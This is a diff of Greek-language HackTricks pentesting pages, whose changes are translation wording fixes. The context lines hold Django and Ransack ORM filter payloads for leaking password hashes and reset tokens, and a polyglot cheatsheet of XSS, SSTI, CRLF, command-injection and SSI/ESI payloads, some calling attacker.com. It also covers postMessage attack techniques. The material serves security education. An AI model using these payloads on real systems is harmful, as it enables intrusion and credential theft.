- **Σχεσιακή φιλτράρισμα**: Είναι δυνατόν να διασχίσετε σχέσεις προκειμένου να διαρρεύσει πληροφορίες από στήλες που δεν αναμένονταν καν να χρησιμοποιηθούν στην επιχείρηση. Για παράδειγμα, αν είναι δυνατόν να διαρρεύσουν άρθρα που δημιουργήθηκαν από έναν χρήστη με αυτές τις σχέσεις: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
||||
```json
|
||||
{
|
||||
"created_by__user__password__contains": "pass"
|
||||
@ -50,9 +50,9 @@ return Response(serializer.data)
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σε αυτή την περίπτωση μπορούμε να βρούμε όλους τους χρήστες στα τμήματα χρηστών που έχουν δημιουργήσει άρθρα και στη συνέχεια να διαρρεύσουμε τους κωδικούς πρόσβασής τους (στο προηγούμενο json διαρρέουμε μόνο τα ονόματα χρηστών αλλά στη συνέχεια είναι δυνατό να διαρρεύσουμε τους κωδικούς πρόσβασης).
|
||||
> Σε αυτή την περίπτωση μπορούμε να βρούμε όλους τους χρήστες στα τμήματα χρηστών που έχουν δημιουργήσει άρθρα και στη συνέχεια να διαρρεύσουμε τους κωδικούς πρόσβασης τους (στο προηγούμενο json διαρρέουμε μόνο τα ονόματα χρηστών αλλά στη συνέχεια είναι δυνατό να διαρρεύσουμε τους κωδικούς πρόσβασης).
|
||||
|
||||
- **Κατάχρηση των σχέσεων πολλών προς πολλούς του Django Group και Permission με τους χρήστες**: Επιπλέον, το μοντέλο AbstractUser χρησιμοποιείται για τη δημιουργία χρηστών στο Django και από προεπιλογή αυτό το μοντέλο έχει κάποιες **πολλές προς πολλές σχέσεις με τους πίνακες Permission και Group**. Που βασικά είναι ένας προεπιλεγμένος τρόπος για **να αποκτήσετε πρόσβαση σε άλλους χρήστες από έναν χρήστη** αν είναι στην **ίδια ομάδα ή μοιράζονται την ίδια άδεια**.
|
||||
- **Κατάχρηση των σχέσεων πολλών προς πολλούς του Django Group και Permission με τους χρήστες**: Επιπλέον, το μοντέλο AbstractUser χρησιμοποιείται για τη δημιουργία χρηστών στο Django και από προεπιλογή αυτό το μοντέλο έχει κάποιες **πολλές προς πολλές σχέσεις με τους πίνακες Permission και Group**. Αυτό είναι βασικά ένας προεπιλεγμένος τρόπος για **να αποκτήσετε πρόσβαση σε άλλους χρήστες από έναν χρήστη** αν είναι στην **ίδια ομάδα ή μοιράζονται την ίδια άδεια**.
|
||||
```bash
|
||||
# By users in the same group
|
||||
created_by__user__groups__user__password
|
||||
@ -67,7 +67,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
> [!CAUTION]
|
||||
> Η κακή χρήση των σχέσεων μπορεί να επιτρέψει την παράκαμψη ακόμη και φίλτρων που προορίζονται για την προστασία των δεδομένων που εμφανίζονται.
|
||||
|
||||
- **Error/Time based via ReDoS**: Στα προηγούμενα παραδείγματα αναμενόταν να έχουμε διαφορετικές απαντήσεις αν το φίλτρο λειτουργούσε ή όχι για να το χρησιμοποιήσουμε ως όρακα. Αλλά θα μπορούσε να είναι δυνατόν κάποια ενέργεια να εκτελείται στη βάση δεδομένων και η απάντηση να είναι πάντα η ίδια. Σε αυτό το σενάριο, θα μπορούσε να είναι δυνατό να προκαλέσουμε σφάλμα στη βάση δεδομένων για να αποκτήσουμε έναν νέο όρακα.
|
||||
- **Error/Time based via ReDoS**: Στα προηγούμενα παραδείγματα αναμενόταν να έχουμε διαφορετικές απαντήσεις αν το φίλτρο λειτουργούσε ή όχι για να το χρησιμοποιήσουμε ως όρακα. Αλλά θα μπορούσε να είναι δυνατόν κάποια ενέργεια να εκτελείται στη βάση δεδομένων και η απάντηση να είναι πάντα η ίδια. Σε αυτό το σενάριο, θα μπορούσε να είναι δυνατόν να προκαλέσουμε σφάλμα στη βάση δεδομένων για να αποκτήσουμε έναν νέο όρακα.
|
||||
```json
|
||||
// Non matching password
|
||||
{
|
||||
@ -77,7 +77,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
|
||||
// ReDoS matching password (will show some error in the response or check the time)
|
||||
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
||||
```
|
||||
- **SQLite**: Δεν έχει έναν κανονιστικό τελεστή από προεπιλογή (απαιτεί φόρτωση τρίτου μέρους επέκτασης)
|
||||
- **SQLite**: Δεν έχει έναν κανονικό εκφραστή (regexp) από προεπιλογή (απαιτεί φόρτωση τρίτου μέρους επέκτασης)
|
||||
- **PostgreSQL**: Δεν έχει προεπιλεγμένο χρονικό όριο regex και είναι λιγότερο επιρρεπές σε backtracking
|
||||
- **MariaDB**: Δεν έχει χρονικό όριο regex
|
||||
|
||||
@ -268,7 +268,7 @@ res.json([])
|
||||
]
|
||||
}
|
||||
```
|
||||
Όπου το `{CONTAINS_LIST}` είναι μια λίστα με 1000 συμβολοσειρές για να διασφαλιστεί ότι η **απάντηση καθυστερεί όταν βρεθεί η σωστή διαρροή.**
|
||||
Όπου το `{CONTAINS_LIST}` είναι μια λίστα με 1000 συμβολοσειρές για να διασφαλιστεί ότι **η απάντηση καθυστερεί όταν βρεθεί η σωστή διαρροή.**
|
||||
|
||||
## **Ransack (Ruby)**
|
||||
|
||||
@ -290,7 +290,7 @@ GET /posts?q[user_reset_password_token_start]=0
|
||||
GET /posts?q[user_reset_password_token_start]=1
|
||||
...
|
||||
```
|
||||
Με την επίθεση brute-force και πιθανές σχέσεις, ήταν δυνατό να διαρρεύσουν περισσότερα δεδομένα από μια βάση δεδομένων.
|
||||
Με brute-forcing και πιθανές σχέσεις, ήταν δυνατό να διαρρεύσουν περισσότερα δεδομένα από μια βάση δεδομένων.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -34,7 +34,7 @@
|
||||
- **Μέθοδος:** Με την παρεμβολή του αιτήματος OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι διπλασίασαν την παράμετρο `email` στο αίτημα HTTP.
|
||||
- **Αποτέλεσμα:** Ο OTP, που προοριζόταν για την αρχική διεύθυνση email, στάλθηκε αντί αυτού στη δεύτερη διεύθυνση email που καθορίστηκε στο χειραγωγημένο αίτημα. Αυτή η αδυναμία επέτρεψε μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το προοριζόμενο μέτρο ασφαλείας.
|
||||
|
||||
Αυτό το σενάριο αναδεικνύει μια κρίσιμη παράλειψη στην υποδομή της εφαρμογής, η οποία επεξεργάστηκε την πρώτη παράμετρο `email` για την παραγωγή OTP αλλά χρησιμοποίησε την τελευταία για την παράδοση.
|
||||
Αυτό το σενάριο αναδεικνύει μια κρίσιμη παράλειψη στην υποδομή της εφαρμογής, η οποία επεξεργάστηκε την πρώτη παράμετρο `email` για τη δημιουργία OTP αλλά χρησιμοποίησε την τελευταία για την παράδοση.
|
||||
|
||||
**Περίπτωση Χειραγώγησης API Key:**
|
||||
|
||||
@ -49,12 +49,12 @@
|
||||
|
||||
Ο τρόπος που οι διαδικτυακές τεχνολογίες χειρίζονται διπλές παραμέτρους HTTP διαφέρει, επηρεάζοντας την ευαισθησία τους σε επιθέσεις HPP:
|
||||
|
||||
- **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, προτεραιοποιώντας την αρχική εμφάνιση σε σχέση με τις επόμενες διπλές.
|
||||
- **PHP (σε Apache HTTP Server):** Αντίθετα, προτεραιοποιεί την τελευταία τιμή παραμέτρου, επιλέγοντας `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις εκμεταλλεύσεις HPP τιμώντας την παραμετροποιημένη παράμετρο του επιτιθέμενου αντί της αρχικής.
|
||||
- **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, προτιμώντας την αρχική εμφάνιση σε σχέση με τις επόμενες διπλές.
|
||||
- **PHP (σε Apache HTTP Server):** Αντίθετα, προτιμά την τελευταία τιμή παραμέτρου, επιλέγοντας `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις εκμεταλλεύσεις HPP τιμώντας την παραμετροποιημένη παράμετρο του επιτιθέμενου αντί της αρχικής.
|
||||
|
||||
## Parameter pollution by technology
|
||||
|
||||
There results were taken from [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
Τα αποτελέσματα ελήφθησαν από [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||
|
||||
### PHP 8.3.11 AND Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||
|
||||
@ -188,7 +188,7 @@ obj.toString() // {"test": 2}
|
||||
```undefined
|
||||
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
|
||||
```
|
||||
μπορεί να αποκωδικοποιηθεί σε πολλές αναπαραστάσεις, συμπεριλαμβανομένων:
|
||||
μπορεί να αποκωδικοποιηθεί σε πολλαπλές αναπαραστάσεις, συμπεριλαμβανομένων:
|
||||
```undefined
|
||||
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
|
||||
9.999999999999999e95
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Είναι δυνατόν να **προσθέσετε συμβολοσειρές στο τέλος του αριθμού τηλεφώνου** που θα μπορούσαν να χρησιμοποιηθούν για να εκμεταλλευτούν κοινές εισβολές (XSS, SQLi, SSRF...) ή ακόμη και για να παρακάμψουν προστασίες:
|
||||
Είναι δυνατόν να **προσθέσετε συμβολοσειρές στο τέλος του αριθμού τηλεφώνου** που θα μπορούσαν να χρησιμοποιηθούν για να εκμεταλλευτούν κοινές εισβολές (XSS, SQLi, SSRF...) ή ακόμα και για να παρακάμψουν προστασίες:
|
||||
|
||||
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Ο στόχος αυτών των PoCs και Polygloths είναι να δώσει στον δοκιμαστή μια γρήγορη **σύνοψη** των ευπαθειών που μπορεί να εκμεταλλευτεί αν η **είσοδός του αντικατοπτρίζεται με κάποιο τρόπο στην απόκριση**.
|
||||
Ο στόχος αυτών των PoCs και Polygloths είναι να δώσει στον δοκιμαστή μια γρήγορη **σύνοψη** των ευπαθειών που μπορεί να εκμεταλλευτεί αν η **είσοδός του αντικατοπτρίζεται με κάποιον τρόπο στην απόκριση**.
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η **λίστα ελέγχου δεν προτείνει μια ολοκληρωμένη λίστα δοκιμών για κάθε ευπάθεια**, μόνο μερικές βασικές. Αν ψάχνετε για πιο ολοκληρωμένες δοκιμές, αποκτήστε πρόσβαση σε κάθε προτεινόμενη ευπάθεια.
|
||||
> Αυτή η **cheatsheet δεν προτείνει μια ολοκληρωμένη λίστα δοκιμών για κάθε ευπάθεια**, μόνο μερικές βασικές. Αν ψάχνετε για πιο ολοκληρωμένες δοκιμές, αποκτήστε πρόσβαση σε κάθε προτεινόμενη ευπάθεια.
|
||||
|
||||
> [!CAUTION]
|
||||
> Δεν **θα βρείτε εισβολές που εξαρτώνται από το Content-Type όπως το XXE**, καθώς συνήθως θα προσπαθήσετε να τις δοκιμάσετε μόνοι σας αν βρείτε ένα αίτημα που στέλνει δεδομένα xml. Δεν **θα βρείτε επίσης εισβολές βάσης δεδομένων** εδώ, καθώς ακόμη και αν κάποιο περιεχόμενο μπορεί να αντικατοπτρίζεται, εξαρτάται σε μεγάλο βαθμό από την τεχνολογία και τη δομή της βάσης δεδομένων backend.
|
||||
> Δεν **θα βρείτε εισαγωγές που εξαρτώνται από το Content-Type όπως το XXE**, καθώς συνήθως θα προσπαθήσετε να τις δοκιμάσετε μόνοι σας αν βρείτε ένα αίτημα που στέλνει xml δεδομένα. Δεν **θα βρείτε επίσης εισαγωγές βάσης δεδομένων** εδώ, καθώς ακόμη και αν κάποιο περιεχόμενο μπορεί να αντικατοπτρίζεται, εξαρτάται σε μεγάλο βαθμό από την τεχνολογία και τη δομή της backend DB.
|
||||
|
||||
## Polygloths list
|
||||
```python
|
||||
@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
||||
{{7*7}}
|
||||
[7*7]
|
||||
```
|
||||
### Πολυγλωσσες
|
||||
### Πολυγλωττοί
|
||||
```bash
|
||||
{{7*7}}[7*7]
|
||||
```
|
||||
@ -88,13 +88,13 @@ $(ls)
|
||||
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
## Κρεμασμένη Σημειογραφία
|
||||
## Dangling Markup
|
||||
|
||||
### Βασικές Δοκιμές
|
||||
```markup
|
||||
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
|
||||
```
|
||||
## [Συμπερίληψη Αρχείων/Διαδρομή Διασύνδεσης](../file-inclusion/)
|
||||
## [File Inclusion/Path Traversal](../file-inclusion/)
|
||||
|
||||
### Βασικές Δοκιμές
|
||||
```bash
|
||||
@ -136,7 +136,7 @@ javascript:alert(1)
|
||||
<esi:include src=http://attacker.com/>
|
||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
### Πολυγλωττοί
|
||||
### Πολυγλωσσες
|
||||
```markup
|
||||
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||
```
|
||||
@ -178,7 +178,7 @@ ${{7*7}}
|
||||
'"><img src=x onerror=alert(1) />
|
||||
javascript:alert()
|
||||
```
|
||||
### Πολυγλωττοί
|
||||
### Πολυγλωσσες
|
||||
```markup
|
||||
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
|
||||
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
|
||||
|
@ -80,11 +80,11 @@ false
|
||||
|
||||
 (1).png>)
|
||||
|
||||
- **Μεταβείτε** σε _Elements --> Event Listeners_ στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
|
||||
- **Μεταβείτε** _Elements --> Event Listeners_ στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
|
||||
|
||||
.png>)
|
||||
|
||||
- Χρησιμοποιήστε μια **επέκταση προγράμματος περιήγησης** όπως [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ή [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Αυτές οι επεκτάσεις προγράμματος περιήγησης θα **παρεμβαίνουν σε όλα τα μηνύματα** και θα σας τα δείχνουν.
|
||||
- Χρησιμοποιήστε μια **επέκταση προγράμματος περιήγησης** όπως [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ή [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Αυτές οι επεκτάσεις προγράμματος περιήγησης θα **παρεμποδίσουν όλα τα μηνύματα** και θα σας τα δείξουν.
|
||||
|
||||
### Παράκαμψη ελέγχου προέλευσης
|
||||
|
||||
@ -102,7 +102,7 @@ false
|
||||
```
|
||||
|
||||
- Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν το regex είναι κακώς δομημένο, μπορεί να είναι επιρρεπές σε παράκαμψη.
|
||||
- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:
|
||||
- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους με την απόδραση χαρακτήρων. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει αποδράσει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:
|
||||
|
||||
- Αναμενόμενη Αποτυχία:
|
||||
|
||||
@ -113,7 +113,7 @@ message: "'\"<b>\\",
|
||||
result.message // "'"<b>\"
|
||||
```
|
||||
|
||||
- Παράκαμψη της διαφυγής:
|
||||
- Παράκαμψη της απόδρασης:
|
||||
|
||||
```javascript
|
||||
result = u(new Error("'\"<b>\\"))
|
||||
@ -126,11 +126,11 @@ result.message // "'"<b>\"
|
||||
|
||||
### Παράκαμψη e.origin == window.origin
|
||||
|
||||
Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα **sandboxed iframe** χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με **sandbox attributes** και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.
|
||||
Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα **sandboxed iframe** χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με **attributes sandbox** και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.
|
||||
|
||||
Με την καθορισμένη **`allow-popups`** στο sandbox attribute, οποιοδήποτε παράθυρο αναδυόμενο ανοιχτό από το iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιλαμβάνεται επίσης το χαρακτηριστικό **`allow-popups-to-escape-sandbox`**, η προέλευση του παραθύρου αναδυόμενου είναι επίσης ρυθμισμένη σε `null`, ευθυγραμμισμένη με την προέλευση του iframe.
|
||||
Με την καθορισμένη **`allow-popups`** στο attribute sandbox, οποιοδήποτε παράθυρο popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιληφθεί επίσης το attribute **`allow-popups-to-escape-sandbox`**, η προέλευση του παραθύρου popup ορίζεται επίσης σε `null`, ευθυγραμμισμένη με την προέλευση του iframe.
|
||||
|
||||
Κατά συνέπεια, όταν ανοίγει ένα αναδυόμενο παράθυρο υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο αναδυόμενο παράθυρο χρησιμοποιώντας **`postMessage`**, και οι δύο πλευρές αποστολής και λήψης έχουν τις προελεύσεις τους ρυθμισμένες σε `null`. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου **`e.origin == window.origin`** αξιολογείται ως αληθές (`null == null`), επειδή τόσο το iframe όσο και το αναδυόμενο παράθυρο μοιράζονται την ίδια τιμή προέλευσης `null`.
|
||||
Κατά συνέπεια, όταν ανοίγει ένα popup υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας **`postMessage`**, και οι δύο άκρες αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε `null`. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου **`e.origin == window.origin`** αξιολογείται ως αληθές (`null == null`), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή προέλευσης `null`.
|
||||
|
||||
Για περισσότερες πληροφορίες **διαβάστε**:
|
||||
|
||||
@ -158,16 +158,16 @@ bypassing-sop-with-iframes-2.md
|
||||
### Παράκαμψη X-Frame-Header
|
||||
|
||||
Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να **τοποθετήσετε τη σελίδα του θύματος** μέσα σε ένα `iframe`. Αλλά ορισμένα headers όπως το `X-Frame-Header` μπορούν να **αποτρέψουν** αυτή τη **συμπεριφορά**.\
|
||||
Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
|
||||
Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε μια λιγότερο κρυφή επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
|
||||
```markup
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
</script>
|
||||
```
|
||||
### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα
|
||||
### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας τη κύρια σελίδα
|
||||
|
||||
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε **ευαίσθητα δεδομένα postmessage** που αποστέλλονται σε ένα **child iframe** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά ληφθούν:
|
||||
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε **ευαίσθητα δεδομένα postmessage** που αποστέλλονται σε ένα **child iframe** μπλοκάροντας τη **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά παραληφθούν:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### Κλοπή μηνύματος τροποποιώντας τη θέση του iframe
|
||||
|
||||
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να **αλλάξετε τη θέση αυτού του child iframe**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
|
||||
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να **αλλάξετε τη θέση αυτού του child iframe**, οπότε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
@ -183,7 +183,7 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
### postMessage για Prototype Pollution και/ή XSS
|
||||
|
||||
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** την **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπία pollution/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`.
|
||||
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** τη **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`.
|
||||
|
||||
Μερικά **πολύ καλά εξηγημένα XSS μέσω `postMessage`** μπορούν να βρεθούν στο [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
|
||||
|
@ -9,10 +9,10 @@
|
||||
Βασικά, σε αυτή την πρόκληση, ένα **απομονωμένο iframe εκτελείται** και αμέσως **μετά** που **φορτώνεται**, η **γονική** σελίδα θα **στείλει ένα post** μήνυμα με τη **σημαία**.\
|
||||
Ωστόσο, αυτή η επικοινωνία postmessage είναι **ευάλωτη σε XSS** (το **iframe** μπορεί να εκτελέσει κώδικα JS).
|
||||
|
||||
Επομένως, ο στόχος του επιτιθέμενου είναι να **επιτρέψει στην γονική σελίδα να δημιουργήσει το iframe**, αλλά **πριν** επιτρέψει στην **γονική** σελίδα να **στείλει** τα ευαίσθητα δεδομένα (**σημαία**) **να την κρατήσει απασχολημένη** και να στείλει το **payload στο iframe**. Ενώ η **γονική είναι απασχολημένη**, το **iframe εκτελεί το payload** που θα είναι κάποιος JS που θα ακούει για το **μήνυμα postmessage της γονικής και θα διαρρεύσει τη σημαία**.\
|
||||
Επομένως, ο στόχος του επιτιθέμενου είναι να **επιτρέψει στην γονική να δημιουργήσει το iframe**, αλλά **πριν** επιτρέψει στην **γονική** σελίδα να **στείλει** τα ευαίσθητα δεδομένα (**σημαία**) **να την κρατήσει απασχολημένη** και να στείλει το **payload στο iframe**. Ενώ η **γονική είναι απασχολημένη**, το **iframe εκτελεί το payload** που θα είναι κάποιο JS που θα ακούει για το **μήνυμα postmessage της γονικής και θα διαρρεύσει τη σημαία**.\
|
||||
Τέλος, το iframe έχει εκτελέσει το payload και η γονική σελίδα σταματά να είναι απασχολημένη, οπότε στέλνει τη σημαία και το payload τη διαρρέει.
|
||||
|
||||
Αλλά πώς θα μπορούσατε να κάνετε την γονική να είναι **απασχολημένη αμέσως μετά που δημιούργησε το iframe και μόλις περιμένει το iframe να είναι έτοιμο να στείλει τα ευαίσθητα δεδομένα;** Βασικά, πρέπει να βρείτε μια **ασύγχρονη** **ενέργεια** που θα μπορούσατε να κάνετε την γονική **να εκτελέσει**. Για παράδειγμα, σε αυτή την πρόκληση, η γονική **άκουγε** για **postmessages** όπως αυτό:
|
||||
Αλλά πώς θα μπορούσατε να κάνετε την γονική να είναι **απασχολημένη αμέσως μετά που δημιούργησε το iframe και μόλις περιμένει το iframe να είναι έτοιμο να στείλει τα ευαίσθητα δεδομένα;** Βασικά, πρέπει να βρείτε μια **ασύγχρονη** **ενέργεια** που θα μπορούσατε να κάνετε την γονική να **εκτελέσει**. Για παράδειγμα, σε αυτή την πρόκληση, η γονική ήταν **ακροατής** σε **postmessages** όπως αυτό:
|
||||
```javascript
|
||||
window.addEventListener("message", (e) => {
|
||||
if (e.data == "blob loaded") {
|
||||
@ -25,6 +25,6 @@ $("#previewModal").modal()
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
```
|
||||
Και για να είστε ακριβείς και να **στείλετε** εκείνο το **postmessage** ακριβώς **μετά** τη δημιουργία του **iframe** αλλά **πριν** είναι **έτοιμο** να λάβει τα δεδομένα από τον γονέα, θα χρειαστεί να **παίξετε με τα χιλιοστά του δευτερολέπτου ενός `setTimeout`**.
|
||||
Και για να είστε ακριβείς και να **στείλετε** εκείνο το **postmessage** ακριβώς **μετά** τη δημιουργία του **iframe** αλλά **πριν** είναι **έτοιμο** να λάβει τα δεδομένα από τον γονέα, θα χρειαστεί να **παίξετε με τα χιλιοστά του `setTimeout`**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Iframes in SOP-1
|
||||
|
||||
Σε αυτήν την [**πρόκληση**](https://github.com/terjanq/same-origin-xss) που δημιουργήθηκε από [**NDevTK**](https://github.com/NDevTK) και [**Terjanq**](https://github.com/terjanq) πρέπει να εκμεταλλευτείς ένα XSS στον κωδικοποιημένο
|
||||
Σε αυτήν την [**πρόκληση**](https://github.com/terjanq/same-origin-xss) που δημιουργήθηκε από [**NDevTK**](https://github.com/NDevTK) και [**Terjanq**](https://github.com/terjanq) πρέπει να εκμεταλλευτείτε ένα XSS στον κωδικοποιημένο
|
||||
```javascript
|
||||
const identifier = "4a600cd2d4f9aa1cfb5aa786"
|
||||
onmessage = (e) => {
|
||||
@ -32,7 +32,7 @@ renderContainer.innerHTML = data.body
|
||||
|
||||
### Challenge Solution
|
||||
|
||||
